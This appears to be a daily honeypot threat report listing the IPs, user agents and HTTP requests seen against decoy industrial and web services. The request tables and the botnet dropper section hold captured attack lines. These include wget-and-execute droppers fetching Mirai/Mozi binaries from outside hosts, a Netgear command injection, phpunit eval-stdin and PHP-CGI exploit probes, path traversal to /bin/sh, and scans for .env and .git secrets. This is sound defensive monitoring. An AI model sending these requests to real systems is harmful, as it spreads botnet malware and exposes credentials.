Table of Contents

Daily Report: 2025-03-09
#

interaction report on http service of various Hhoneypot around the world.

OT report simplified
Botnet dropper behaviour
List of source IP addresses
List of user_agent
List of request
List of country_iso_code

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
NL
NL
US
US
US
BR
US
US
NL
AR

botnet_dropper_behaviour
#

remote_addr	request
102.46.216.1	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.129.101/jaws;chmod+777+/tmp/jaws;sh+/tmp/jaws HTTP/1.1
120.85.185.170	GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
175.107.1.168	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.1.168:44567/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

list_of_source_IP_addresses
#

	number_of_occurence	remote_addr
0	108	168.196.63.101
1	61	172.56.151.174
2	58	45.148.10.34
3	45	201.98.30.238
4	45	163.172.37.167
5	44	172.59.161.58
6	37	23.236.100.248
7	36	51.158.201.156
8	30	172.56.46.176
9	30	172.58.240.118
10	28	45.148.10.90
11	28	138.186.161.252
12	27	51.158.202.149
13	26	51.158.202.235
14	23	xxx.xxx.xxx.xxx
15	22	95.214.53.106
16	19	222.223.44.122
17	16	164.90.229.249
18	16	178.128.195.215
19	15	45.148.10.35
20	10	46.19.140.74
21	8	92.255.57.58
22	8	204.76.203.18
23	8	185.100.235.33
24	7	154.81.156.7
25	6	45.148.10.235
26	5	195.178.110.163
27	5	204.76.203.15
28	5	208.110.70.42
29	5	164.90.210.38
30	4	15.204.32.65
31	4	87.121.84.204
32	4	93.174.93.12
33	3	185.147.125.162
34	3	159.89.99.204
35	3	159.65.112.165
36	3	198.235.24.52
37	2	109.236.61.115
38	2	78.153.140.203
39	2	165.22.28.132
40	2	159.89.25.189
41	2	134.209.227.209
42	2	162.142.125.221
43	2	159.89.99.133
44	2	64.227.123.94
45	2	196.251.113.74
46	2	18.217.83.24
47	2	45.166.100.48
48	2	134.209.237.157
49	2	2.57.122.234
50	2	80.82.77.202
51	2	159.89.101.130
52	1	46.19.138.210
53	1	198.235.24.144
54	1	59.126.81.234
55	1	205.210.31.213
56	1	52.249.35.104
57	1	202.62.41.165
58	1	51.158.205.47
59	1	198.235.24.7
60	1	220.130.183.6
61	1	209.38.128.112
62	1	216.218.206.69
63	1	198.235.24.149
64	1	199.204.96.10
65	1	147.185.133.132
66	1	20.29.36.140
67	1	122.116.242.182
68	1	185.170.144.3
69	1	98.98.190.9
70	1	122.116.81.92
71	1	196.251.85.238
72	1	64.62.197.234
73	1	192.42.116.199
74	1	125.229.191.118
75	1	64.62.197.241
76	1	64.62.197.231
77	1	147.185.132.7
78	1	45.138.16.107
79	1	44.220.185.109
80	1	198.235.24.185
81	1	59.127.44.65
82	1	147.185.132.5
83	1	20.221.68.89
84	1	57.129.64.237
85	1	35.203.211.210
86	1	49.213.251.121
87	1	59.126.159.26
88	1	109.236.61.95
89	1	102.46.216.1
90	1	34.76.203.56
91	1	196.251.85.250
92	1	18.188.255.68
93	1	120.85.185.170
94	1	20.150.207.74
95	1	175.107.1.168
96	1	198.235.24.103

user_agent
#

	number_of_occurence	user_agent
0	131	Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Mobile Safari/537.36
1	112	-
2	104	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
3	86	Custom-AsyncHttpClient
4	77	l9explore/1.2.2
5	45	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
6	41	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
7	39	Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1
8	31	Mozilla/5.0 (X11; Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
9	29	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
10	27	Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Mobile/15E148 Safari/604.1 Ddg/18.3
11	26	Hello World
12	17	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
13	11	Go-http-client/1.1
14	10	l9tcpid/v1.1.0
15	10	Hello World/1.0
16	10	Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)
17	8	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
18	8	curl/7.88.1
19	7	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
20	5	Mozilla/5.0 zgrab/0.x
21	5	Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com
22	5	Mozilla/5.0 (compatible)
23	4	Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
24	3	Xpanse, a Palo Alto Networks company, indexes customer network perimeters. If you have any questions or concerns, please reach out to: scaninfo@paloaltonetworks.com.
25	3	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 YaBrowser/24.10.0.0 Safari/537.36
26	2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
27	2	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
28	2	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
29	1	masscan/1.3 (https://github.com/robertdavidgraham/masscan)
30	1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36
31	1	xfa1
32	1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
33	1	Mozilla/5.0 (Linux; Android 10; MI 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
34	1	Mozilla/5.0 (Windows NT 6.2;en-US) AppleWebKit/537.32.36 (KHTML, live Gecko) Chrome/53.0.3023.67 Safari/537.32
35	1	Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2
36	1	Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
37	1	Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)
38	1	Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.7.5000
39	1	Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
40	1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
41	1	Mozilla/5.0 (compatible; ModatScanner/1.0; +https://modat.io/)
42	1	Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0
43	1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
44	1	fasthttp
45	1	Hello, world
46	1	python-requests/2.32.3
47	1	Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1
48	1	Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4

request
#

	number_of_occurence	request
0	114	GET / HTTP/1.1
1	41	POST /FormLogin HTTP/1.1
2	23	POST /login.html HTTP/1.0
3	21	GET / HTTP/1.0
4	19	GET /favicon.ico HTTP/1.1
5	18	GET /css/bootstrap.min.css HTTP/1.1
6	15	GET /Module1/js/Module_2o6q5no3oqp65504359524o2150s4333.js HTTP/1.1
7	15	GET /Module1/js/Home_9b5766a815f5416da1d14b6622620932.js HTTP/1.1
8	15	GET /css/elementsDesktop.css HTTP/1.1
9	15	GET /js/mainControllers.js HTTP/1.1
10	15	GET /js/mainControllersUtils.js HTTP/1.1
11	15	GET /js/jquery.min.js HTTP/1.1
12	15	GET /js/bootstrap.min.js HTTP/1.1
13	15	GET /socket.io/socket.io.js HTTP/1.1
14	15	GET /js/moment.min.js HTTP/1.1
15	15	GET /js/jquery.mask.min.js HTTP/1.1
16	15	GET /css/rcError.css HTTP/1.1
17	15	GET /css/ui.jqgrid.min.css HTTP/1.1
18	15	GET /css/fonts.css HTTP/1.1
19	15	GET /css/jquery-ui.css HTTP/1.1
20	15	GET /css/style.css HTTP/1.1
21	14	GET /Media/Images/F81B47A3.PNG HTTP/1.1
22	14	GET /Fonts/Vera.woff HTTP/1.1
23	14	GET /Fonts/VeraBd.woff HTTP/1.1
24	14	GET /Media/Images/1801359D.PNG HTTP/1.1
25	14	GET /Media/Images/BF8AD73A.PNG HTTP/1.1
26	14	GET /Media/Images/N3P3R87R.png HTTP/1.1
27	5	GET /i HTTP/1.1
28	5	GET /restore.php HTTP/1.1
29	4	GET /Fonts/VeraBI.woff HTTP/1.1
30	4	GET /cgi-bin/luci/;stok=/locale HTTP/1.1
31	4	GET /ban.php HTTP/1.1
32	4	GET /Fonts/VeraIt.woff HTTP/1.1
33	3	GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
34	3	GET /.env HTTP/1.1
35	3	GET /login.html HTTP/1.1
36	3	\x16\x03\x02\x01o\x01\x00\x01k\x03\x02RH\xC5\x1A#\xF7:N\xDF\xE2\xB4\x82/\xFF\x09T\x9F\xA7\xC4y\xB0h\xC6\x13\x8C\xA4\x1C=\x22\xE1\x1A\x98 \x84\xB4,\x85\xAFn\xE3Y\xBBbhl\xFF(=’:\xA9\x82\xD9o\xC8\xA2\xD7\x93\x98\xB4\xEF\x80\xE5\xB9\x90\x00(\xC0
37	2	GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
38	2	GET /media../.git/config HTTP/1.1
39	2	GET /.env.prod HTTP/1.1
40	2	GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
41	2	GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
42	2	GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
43	2	GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
44	2	GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
45	2	GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
46	2	GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
47	2	GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
48	2	GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
49	2	GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
50	2	GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
51	2	GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
52	2	GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
53	2	GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
54	2	GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
55	2	GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
56	2	GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
57	2	GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
58	2	GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
59	2	GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
60	2	GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
61	2	GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
62	2	GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
63	2	GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
64	2	GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
65	2	POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
66	2	POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
67	2	GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
68	2	GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
69	2	GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
70	2	GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
71	2	GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
72	2	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1
73	2	GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
74	2	GET /containers/json HTTP/1.1
75	2	GET /public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
76	2	GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
77	2	GET /solr/admin/info/system HTTP/1.1
78	2	GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
79	2	GET /server/.git/config HTTP/1.1
80	2	\x16\x03\x00\x00S\x01\x00\x00O\x03\x00?G\xD7\xF7\xBA,\xEE\xEA\xB2`~\xF3\x00\xFD\x82{\xB9\xD5\x96\xC8w\x9B\xE6\xC4\xDB<=\xDBo\xEF\x10n\x00\x00(\x00\x16\x00\x13\x00
81	2	POST /sdk HTTP/1.1
82	2	GET /v2/_catalog HTTP/1.1
83	2	GET /www/.git/config HTTP/1.1
84	2	GET /.env.backup HTTP/1.1
85	2	GET /static../.git/config HTTP/1.1
86	2	GET /prod/.env HTTP/1.1
87	2	GET /login.rsp HTTP/1.1
88	2	OPTIONS / HTTP/1.0
89	2	OPTIONS / RTSP/1.0
90	2	l\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00
91	2	GET /.git/config HTTP/1.1
92	2	GET /.env.dev.local HTTP/1.1
93	2	GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
94	2	GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
95	2	GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
96	2	GET /css/star-empty.svg HTTP/1.1
97	2	GET /bin.sh HTTP/1.1
98	2	GET /.env.staging.local HTTP/1.1
99	2	GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
100	2	GET /.env.config HTTP/1.1
101	2	HEAD / HTTP/1.1
102	2	GET /docker-compose.prod.yml HTTP/1.1
103	2	HELP
104	2	\x80\x00\x00(r\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x01\x97
105	2	\x00\x1E\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03
106	2	\x00\x0C\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00
107	2	GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1
108	2	GET /cgi-bin/authLogin.cgi HTTP/1.1
109	2	GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
110	2	GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
111	2	POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
112	1	GET /socket.io/1/?t=1741558695879 HTTP/1.1
113	1	GET /wp-content/ HTTP/1.1
114	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x8D\xE1
115	1	GET /.env.production HTTP/1.1
116	1	GET /assets../.git/config HTTP/1.1
117	1	GET /configuration/.env HTTP/1.1
118	1	GET /api/.env HTTP/1.1
119	1	GET /socket.io/1/?t=1741556667347 HTTP/1.1
120	1	POST /Autodiscover/Autodiscover.xml HTTP/1.1
121	1	GET /oops/Kloki.mpsl HTTP/1.1
122	1	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://175.107.1.168:44567/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
123	1	GET /.env.secret HTTP/1.1
124	1	\x16\x03\x01\x05\xA8\x01\x00\x05\xA4\x03\x03\x1ATT\x07jBn\xD5h\xE1C\x18l\xC0\xE2S30\x90X}:\xF9\xA6*\x9E\x91\x9E\xAB\xAD\xF2A \xCF\x95V\x82\x84+\xB3\xC6\x90\x09v\xFB\x89t\x12\xBDgT\xBE\xBB\xE1\xA7\xC8\x10\xB2r&]\x9C4\x17\x88\x00\x1A\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
125	1	GET /geoserver HTTP/1.1
126	1	\x16\x03\x01\x01\xAA\x01\x00\x01\xA6\x03\x036\xB7K\x01\xED\xB6!\x99s\x05
127	1	POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
128	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\xD5\xC0D\xE2.X\xEA_\xC4\xAE5\xDD.#\xD3yA3\xBE\xB3\x87rx\xAC\xF2\x8Dr\x0E\xC8
129	1	GET /build_tool/.git/config HTTP/1.1
130	1	GET /app/resources/.git/config HTTP/1.1
131	1	GET http://xxx.xxx.xxx.xxx:80/db/scripts/setup.php HTTP/1.0
132	1	GET http://xxx.xxx.xxx.xxx:80/admin/phpmyadmin/scripts/setup.txt HTTP/1.0
133	1	GET http://xxx.xxx.xxx.xxx:80/_phpMyAdmin/scripts/setup.php HTTP/1.0
134	1	GET http://xxx.xxx.xxx.xxx:80/webdb/scripts/setup.php HTTP/1.0
135	1	GET http://xxx.xxx.xxx.xxx:80/phpma/scripts/setup.php HTTP/1.0
136	1	GET http://xxx.xxx.xxx.xxx:80/dbadmin/scripts/setup.php HTTP/1.0
137	1	GET http://xxx.xxx.xxx.xxx:80/web/phpMyAdmin/scripts/setup.php HTTP/1.0
138	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2/scripts/setup.php HTTP/1.0
139	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0
140	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0
141	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0
142	1	GET /tmp/.env HTTP/1.1
143	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x93R\x88!\xB4\xF8\x8D\xD0\xEA\xDA\xD8M\xB5\x1A\x0F\x7F?\x92ljw\xBB\xC7\xC7\xE7n\xE4\xB7\xBF\x8F$+ \xFC\xB5\xF8\xCD\xE57\xEA\xE6\xBD\xE8\xE6\xE9B\xCD\xB6\x0Eu\xFD%c\xB10\x1D\xED\x10\xE9W\x1D/\x1DrT\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
144	1	GET http://xxx.xxx.xxx.xxx:80/MyAdmin/scripts/setup.php HTTP/1.0
145	1	GET http://xxx.xxx.xxx.xxx:80/pma/scripts/setup.php HTTP/1.0
146	1	GET http://xxx.xxx.xxx.xxx:80/phpMyAdmin-2.11.9.2/scripts/setup.php HTTP/1.0
147	1	GET http://xxx.xxx.xxx.xxx:80/phpmyadmin/scripts/setup.php HTTP/1.0
148	1	GET /socket.io/1/?t=1741492390538 HTTP/1.1
149	1	MGLNDD_xxx.xxx.xxx.xxx_80
150	1	\x16\x03\x01\x00{\x01\x00\x00w\x03\x03IA\x14/v\x8CY&\xCA\xBB+\xE8Ng\xA6\x93\x7F\x16\xAD\xCC0{>M\xA2]\xE4#\x1BD\xCEG\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
151	1	\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\x90\xAC\x95\xDC\xFE\x90t\x1C?6xQ\x86\xFC\x1B\xAE\x91\xAF:\xF9l\xDA\xC0H\xAB\xF5\xDC\xF8b\x02\xAD~\x00\x00h\xCC\x14\xCC\x13\xC0/\xC0+\xC00\xC0,\xC0\x11\xC0\x07\xC0’\xC0#\xC0\x13\xC0\x09\xC0(\xC0$\xC0\x14\xC0
152	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xA9\xD0\xB7\xF9\xCD9O\xFA\x01\xBB\x01#\x8C\xAB\xD6\xE9\xE7:\xD7\x1AA\x99\xB4ss\xB46\x03Q\xC1\x15z u\xF7\xDB%\xC8\x18\x8B\xC7\x0CqtI2\x0C\x90\xC9G\x1F_Za\x8E&\x17\xE2\x80\xA0U\x00\xD3\x93\xBB\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
153	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03}7\x8A\x1A\xA8z\x87Fh\x9F\xEE\x82\xF8\xB5\xB1\xB6\xB4\x94+\x91\x83\xFA\x9C\xB1\xB0FI\xD6\x1A
154	1	GET /socket.io/1/?t=1741487809723 HTTP/1.1
155	1	GET /socket.io/1/?t=1741487785079 HTTP/1.1
156	1	GET /socket.io/1/?t=1741487762922 HTTP/1.1
157	1	GET /socket.io/1/?t=1741487734249 HTTP/1.1
158	1	GET /admin/config.php HTTP/1.0
159	1	GET /users/login HTTP/1.1
160	1	GET /users/users/login HTTP/1.1
161	1	GET /users/users/users/login HTTP/1.1
162	1	GET /users/users/users/favicon.ico HTTP/1.1
163	1	GET /user_panel/.git/config HTTP/1.1
164	1	GET /project/frontend/.git/config HTTP/1.1
165	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xA9k\x94hxF\x5CFz\x8EM\x14\xA1\xEE\x82\x83\xC7Mg\x8E\x8F\x88\xA9\x9A\xA3edf\xDB\xEF_\x06 \x8D\xC2\x00[’\x95\xA2\xA5H8\xE8q:\x01\xFC\x0C\x12!\xDE\xE0~\x87\xCAalV\xBDr\xEE\x9E\xD9@\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
166	1	GET /.env.tmp HTTP/1.1
167	1	GET /socket.io/1/?t=1741510402643 HTTP/1.1
168	1	GET /socket.io/1/?t=1741514902918 HTTP/1.1
169	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xE3\xC4\x98\xD4Q\xEDR!\x97\xB7\xB5\x932AWL\xDErX`\xC2\xC8~`V\x06\x1Ad\x09\x97\x85\xA6 \x84\xE5O\x82d\x8C\x8A`9vW\x5C\x8B\x80^~Q6\xBB\xB5Ke\xCA\xCB\xCDaoY\xD03\xC4\x98\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
170	1	GET /releases/.git/config HTTP/1.1
171	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03%0\x87\x94r<n\xB08x \x93\xEE\xD4\xA3L;d\xF2\xD4\xC0_7\xA6<>\x7F\xCE\xBD5gg \x88\xD4/\xE2\xA0\xCA\x9F\xA7\xC4\xC4\x0B\x9A\xB6\x10\xDF5\xC3\x9DL\x18\xD2\x87\xE6\x1F4\xFE\xC6\xF6zy\x8Dq\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
172	1	GET /socket.io/1/?t=1741518100629 HTTP/1.1
173	1	GET http://httpbin.org/ip HTTP/1.1
174	1	\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr
175	1	GET http://xxx.xxx.xxx.xxx:80/mysqlmanager/scripts/setup.php HTTP/1.0
176	1	GET /Odin/http/call1741520303 HTTP/1.1
177	1	GET /OdinHttpCall1741520303 HTTP/1.1
178	1	GET /odinhttpcall1741520303 HTTP/1.1
179	1	\x16\x03\x01\x00\xC7\x01\x00\x00\xC3\x03\x03X\x1E\xBE\xDA\xAE\x01\xDB)75i\xB0qA\x17g9\xB3\x9B\xFE@#c\x00\xB4K\xAEh\xF2\xC8\xE8\x13\x00\x00P\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0
180	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03B\x80x\x99z\xF6\x0B6\xCF\x12%
181	1	\x16\x03\x01\x01$\x01\x00\x01 \x03\x03g\xEE\x97NO\x86S\xD8\x92\xE2g\xDB\xC7\x01\xAD,U\xF54\xB1\x8Cq\xBA\xFD\xBATn\xDD5\xE7\xBB\xC7 \xD6\xF7\x97\xB2\xDE\xE1\x1CIHj\xF4\x22
182	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03aU\x0C\x1D\x9C\xD8\x0E\xA6\x5Cw_\x93@\x84\xB7\x1E\xC1\xBE\xB3\x85\xB6<\xB916r\x5CezW\x00\x15 \x99\xC2\xCD\x91t
183	1	GET /odinhttpcall1741528066 HTTP/1.1
184	1	GET /OdinHttpCall1741528066 HTTP/1.1
185	1	GET /Odin/http/call1741528066 HTTP/1.1
186	1	GET /actuator/health HTTP/1.1
187	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03V<\xD9#Fr\x01g\x1A2\xCB\x8D\x01-\x9D\xF2\xAC\x91?T\x00\xE8\x04\xDC\xC1k\x89jGvz\xB8 O9\x00\xBB\x14\x12\xDC\xF9j\xAF]pU\xA9\xBD\xBA5\xE1\xAEW\xD3h
188	1	GET http://xxx.xxx.xxx.xxx:80/mysql-admin/scripts/setup.php HTTP/1.0
189	1	GET http://xxx.xxx.xxx.xxx:80/phpmanager/scripts/setup.php HTTP/1.0
190	1	GET http://xxx.xxx.xxx.xxx:80/phpmy-admin/scripts/setup.php HTTP/1.0
191	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\x0B\xB5w\xD8\x9F\xCD\x844\xE6:eeV\xAD~\x9D\xE6\x807\xB5\xCEGm\xD7\xB7\xED\x07\xFB\xCBx7\xDF \xF7n\x7F\x0C\xEB\xEA*\xA4\xBB.\x02\xDA\xD4R\xAC\x00\x85#\xDF\xF7\xA4\xE3\xAFd\xA5P\x0E\x18]\xFB/\xBE\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0
192	1	GET /.env.orig HTTP/1.1
193	1	GET /geoserver/web/ HTTP/1.1
194	1	\x00\x0E8R
195	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xE3).\xAB\x0E\xB4\x1A\xFCb\xDF\x14\x22\x9A \xFE\xA0s\xF6\xE5\xAD3’Bl\xAFj\xC2\xE5oO\x0F\xD5 \xF2\x16\xA9D\xEEU5\x10)\xAC
196	1	GET /data/private/.git/config HTTP/1.1
197	1	GET /app/frontend/.git/config HTTP/1.1
198	1	GET /user/.git/config HTTP/1.1
199	1	\x16\x03\x01\x00\xC7\x01\x00\x00\xC3\x03\x03\xA1`3\x89\xECn\x0C\xF6i+\xF9\xC1\xE0\x09\xD6N\x02d\x84)\x0Eh\x8E
200	1	\x16\x03\x01\x01$\x01\x00\x01 \x03\x03
201	1	\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03*\xBD<\xFE\x953\x14\x08\xED\x95\xC6\x04\xEC\xF4
202	1	GET /socket.io/1/?t=1741533429715 HTTP/1.1
